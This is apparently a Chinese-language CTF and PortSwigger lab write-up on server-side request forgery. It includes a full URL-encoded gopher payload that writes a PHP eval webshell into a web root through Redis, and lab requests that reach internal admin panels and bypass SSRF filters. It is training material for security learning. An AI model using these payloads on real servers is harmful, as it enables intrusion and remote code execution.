00

拿去用,得到flag

Redis协议

这次也是一样,用Gopherus脚本来完成该题

使用指令:python2 gopherus.py --exploit redis,选择php,默认路径,代码的话我们使用一句话代码:<?php eval($_POST['cmd']); ?>

image-20240528201250062

得到payload,拿去再编码一次,如下:

1
gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

拿去用,得到如下界面:

image-20240528201105165

虽然是这样的,但是我们的shell.php已经写入了,访问,如下:
image-20240528201348783

虽然有一些不可见字符啥的,但还是说明可以访问,用蚁剑连接,得到flag

Bp实验室

Lab:针对本地服务器的基本SSRF

题目:要解决实验室问题,请更改库存检查URL以访问 http://localhost/admin 的管理员界面并删除用户 carlos

于是我们先打开插件Proxy,然后访问任意一件商品,点击检查库存

做完这些步骤之后我们去bp的代理模块的HTTP历史记录中查看每个条目,最后发现一条可疑的:/product/stock,将它发送到重放器中,其post传参的stockApi其实就是编码后的访问库存的url,于是我们将其改为编码后的 http://localhost/admin,发送如下:

image-20240528204006423

我们需要删除用户carlos,url改为:http://location/admin/delete?username=carlos,编码后发送

题目解决

Lab:基本SSRF与另一个后端系统的对比

要求:要解决这个问题,请使用库存检查功能扫描端口8080上的管理员界面的内部 192.168.0.X 范围,然后使用它删除用户 carlos

于是我们先打开插件Proxy,然后访问任意一件商品,点击检查库存

做完这些步骤之后我们去bp的代理模块的HTTP历史记录中查看每个条目,最后发现一条可疑的:/product/stock,将它发送到intruder中,其post传参的stockApi改为我们所需要的:http%3A%2F%2F192.168.0.1%3A8080%2Fadmin,添加1位置为pyload,进行爆破,数值设为1到300,间隔为1,开始攻击

把爆破后的结果按状态码从小到大排序,得到200状态码的网址,后续的操作和上一题的一模一样

题目解决

Lab:带外检测的盲 SSRF

要求:该网站使用分析软件,在加载产品页面时获取 Referer 标头中指定的 URL。要完成本实验,请使用此功能向公共 Burp Collaborator 服务器发出 HTTP 请求。

先打开插件Proxy,然后访问任意一件商品,之后我们去bp的代理模块的HTTP历史记录中查看每个条目,将/product?productId=1条目发送到重放器中,通过题目可知我们应该改变Referer标头的url,所以我们去Burp Collaborator复制一个,然后将其代替掉原本的url,点击发送,之后在Burp Collaborator模块点击立即轮询,可以查看到几条数据

到这步后,题目便解决了

Lab:具有基于黑名单的输入过滤器的 SSRF

要求:要完成该实验,请将库存检查 URL 更改为访问管理界面 http://localhost/admin 并删除用户 carlos 。开发人员部署了两种较弱的反 SSRF 防御措施,您需要绕过它们

在bp的代理模块的HTTP历史记录中查看每个条目,然后将/product/stock发送到重放器中,先将stockApi改为http%3A%2F%2F127.0.0.1%2Fadmin,发送发现被阻止了

开始一步步尝试,先是http%3A%2F%2F127.1,发送成功,接着在后面加上/admin,被阻止,猜测是拦住了admin,所以我们可以将a编码两次,为http%3A%2F%2F127.0.0.1%2F%2561dmin,发送成功,访问到了admin页面,接下来的操作就是删除用户carlos

后面按之前那样做就可以了,题目解决

Lab:SSRF 通过开放重定向漏洞绕过过滤器

描述:要完成该实验,请将库存检查 URL 更改为访问管理界面 http://192.168.0.12:8080/admin 并删除用户 carlos 。库存检查器被限制只能访问本地应用程序,因此您需要首先找到影响应用程序的开放重定向

首先随机访问一个产品并检查库存,然后点击next product

检查HTTP历史记录,有两条比较有意思的都将其发送到重放器中,分别是/product/stock/product/nextProduct?currentProductId=1&path=/product?productId=2

第二个条目内容如下:

image-20240530000359814

原本第一个条目的stockApi解码后为:/product/stock/check?productId=2&storeId=1

尝试直接把第一个条目的stockApi改为我们需要的http%3A%2F%2F192.168.0.12%3A8080%2Fadmin,会被阻止访问

发现原本的stcockApi的内容和第二个条目中的get传参的参数是一样的

将第二个条目中的path改一下/product?productId=3,发送,然后把stockApi改为相对应的,发送,数据成功变更

这说明了我们通过更改path的内容实现了重定向,所以我们只需要把我们要的url放在path中:/product/nextProduct?path=http://192.168.0.12:8080/admin,发送,然后对应的stockApi改为:%2Fproduct%2FnextProduct%3Fpath%3Dhttp%3A%2F%2F192.168.0.12%3A8080%2Fadmin,发送,响应变为了对应的页面的内容,然后开始删除用户carlos

更改path:/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

更改stockApi:%2Fproduct%2FnextProduct%3Fpath%3Dhttp%3A%2F%2F192.168.0.12%3A8080%2Fadmin%2Fdelete%3Fusername%3Dcarlos

成功伤处用户carlos,题目解决

引用

SSRF漏洞原理解析通俗易懂

SSRF漏洞原理攻击与防御(超详细总结)

Gopher协议在SSRF漏洞中的深入研究(附视频讲解)

CTFHub技能树 Web-SSRF篇(保姆级通过教程)